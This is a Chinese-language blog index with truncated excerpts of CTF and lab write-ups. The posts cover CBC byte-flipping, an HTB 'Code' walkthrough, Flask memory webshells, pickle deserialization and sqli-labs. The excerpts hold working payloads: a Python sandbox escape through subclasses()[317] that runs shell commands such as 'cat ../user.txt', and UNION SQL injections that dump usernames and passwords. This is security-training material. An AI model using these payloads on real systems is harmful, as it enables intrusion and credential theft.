CBC字节翻转攻击
CBC加密和解密过程 加密过程CBC加密流程: 准备 将明文按固定长度(通常是块大小,比如AES是128位)分块。 如果最后一块不足长度,需要填充(padding)。 选一个初始化向量(IV),它的长度跟分块大小相同。 加密每一块(第 i 块) 第1步:用当前明文块 PiP_iPi 和前一块密文(或IV)做异或(XOR)。 第一个块是$$C_0=Ek(P0⊕IV)$$ 第2步:将异或后的结果送入加密算法(E_k)(比如AES)加密,得到当前块的密文 Ci。 第3步:当前的密文块 CiC_iCi 会作为下一块明文的XOR对象。 循环处理每一块,直到全部加密完成。 解密过程1解密过程刚好相反,第一组密文在解密之后与初始向量IV异或得到第一组明文。第二组密文解密之后和第一组密文异或得到第二组明文。也就是说,解密一组明文需要本组和前一组的密文。 特点加密算法的输入是上一个密文分组和下一个明文分组的异或 EXB模式和CBC模式 CBC字节翻转攻击CBC字节翻转攻击的核心原理是通过破坏一个比特的密文来篡改一个比特的明文。 $$由题目得...
HTB-Code
HTB-codeusernmap扫描 nmap 10.10.11.62 -sV -A 发现开放了5000端口 访问发现是个在线执行python代码的网页 可以进行命令执行 print(''.__class__.__base__.__subclasses__()[317]('ls /',shell=True,stdout=-1).communicate()[0].strip()) 然后直接在上层目录读到user.txt print(''.__class__.__base__.__subclasses__()[317]('cat ../user.txt',shell=True,stdout=-1).communicate()[0].strip()) root命令执行 123print(''.__class__.__base__.__subclasses__()[317]('ls...
浅谈python内存马
前言:想法来源于TGCTF的一道题 想具体学习下 内存马究竟是什么东西 Python内存马众所周知,python下有许多轻型框架,比如 flask Tornado pyramid等 每个框架都基本有其对应的内存马注入的方式 Flask内存马注入flask框架中使用 render_template_string() 进行渲染,但未对用户传输的代码进行过滤导致用户可以通过注入恶意代码来实现 python 内存马的注入。 老版flask内存马注入多存在ssti的场景中 如果想要在python中实现内存马 必须想是否能动态注册新路由 flask注册新路由用的是 app.route 实际调用的是add_url_ruel 注意:从下面一直到构造webshell 都是前言知识 为了让你更好理解 内存马的payloadadd_url_ruel介绍app.add_url_rule('/index/',endpoint='index',view_func=index) 三个参数: url:必须以/开头 endpoint:(站点) view_func:方法...
TGCTF2025-WEB WP
AAA偷渡阴平1234567891011121314<?php$tgctf2025=$_GET['tgctf2025'];if(!preg_match("/0|1|[3-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $tgctf2025)){ //hint:你可以对着键盘一个一个看,然后在没过滤的符号上用记号笔画一下(bushi eval($tgctf2025);}else{ ...
pickle反序列化学习
前置知识详细前置知识可以看官方文档https://docs.python.org/zh-cn/3/library/pickle.html Pickle–Python对象反序列化Pickle1234pickle是python里一个可以对一个 Python 对象结构的二进制序列化和反序列化的模块。"pickling" 是将 Python 对象及其所拥有的层次结构转化为一个字节流的过程,而 "unpickling" 是相反的操作pickel可以看作一种独立的栈语言,其对opcode的编写可以进行python代码执行、变量覆盖等操作。 pickle序列化和反序列化对象 <–> 二进制字节流 12345678910111213import pickle class Person(): def __init__(self): self.age=18 self.name="A" p=Person()opcode=pickle.dumps(p)print(opcode)...
蜀道山2024wp
奶龙牌WAF拿到附件 不准上传后缀为ph和hta的文件 并且对文件大小有限制 代码关键处: move_uploaded_file 函数定义和用法:12move_uploaded_file() 函数把上传的文件移动到新位置。如果成功该函数返回 TRUE,如果失败则返回 FALSE。 语法:123move_uploaded_file(file,newloc)file:必需。规定要移动的文件。newloc:必需。规定文件的新位置。 提示12注释:该函数仅用于通过 HTTP POST...
XYCTF2025-WEB WP
前言:由于笔者能力有限,只写了自己能力以内的题的WPez_puzzlejs代码游戏 禁了一些常用快捷键 我的做法是将所有代码拉下来 自己本地用phpstudy起了一个服务 具体改源代码逻辑 1if (G < yw4) 改为 if (G > yw4) 这个是判断时间是否小于两秒的逻辑 把其改为大于 自己玩一遍拼图就ok了 flag{Y0u__aRe_a_mAsteR_of_PUzZL!!@!!~!} ezsql(手动滑稽)sql毋庸置疑 注入点是usrname 闭合时单引号 fuzz一下发现过滤了,空格等 首先空格使用%09绕过 因为,被ban了的原因 很多语句都不可以用 使用 case when语句来进行时间盲注 语句构造: !!!请注意:python里盲注要把%09改为\t 因为request库会将\t编码为%09 爆数据库...
NSSCTF Round30 Basic双人组队赛
hack_the_world!12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152from flask import Flask, request, render_template,render_template_string, url_for, sessionimport timeimport osapp = Flask(__name__)app.secret_key = 'NSS'FILTER_KEYWORDS = ['Ciallo~(∠・ω <)⌒★']def contains_forbidden_keywords(complaint): for keyword in FILTER_KEYWORDS: if keyword.lower() in complaint: return True return...
Sql-labs部分题解
level-1字符型 ‘注入 1-1' union select 1,2,group_concat(username,id,password) from users--+ 唯一注意点就是查询时要用-1 因为我们要得到union后的结果 level-2数字型注入 后面过程和level-1一样 1-1 union select 1,2,group_concat(username,id,password) from users--+ level-3输入1’ 回显中有个) 说明sql语句里有() 考虑加入) 与前面的( 构成闭合 1’ ) –+构造闭合成功 后面与level-1 level-2 一样 1-1') union select 1,2,group_concat(username,id,password) from users--+ level-4双引号和括号构造闭合 1-1") union select 1,2,group_concat(username,id,password) from users--+ level-51’ –+...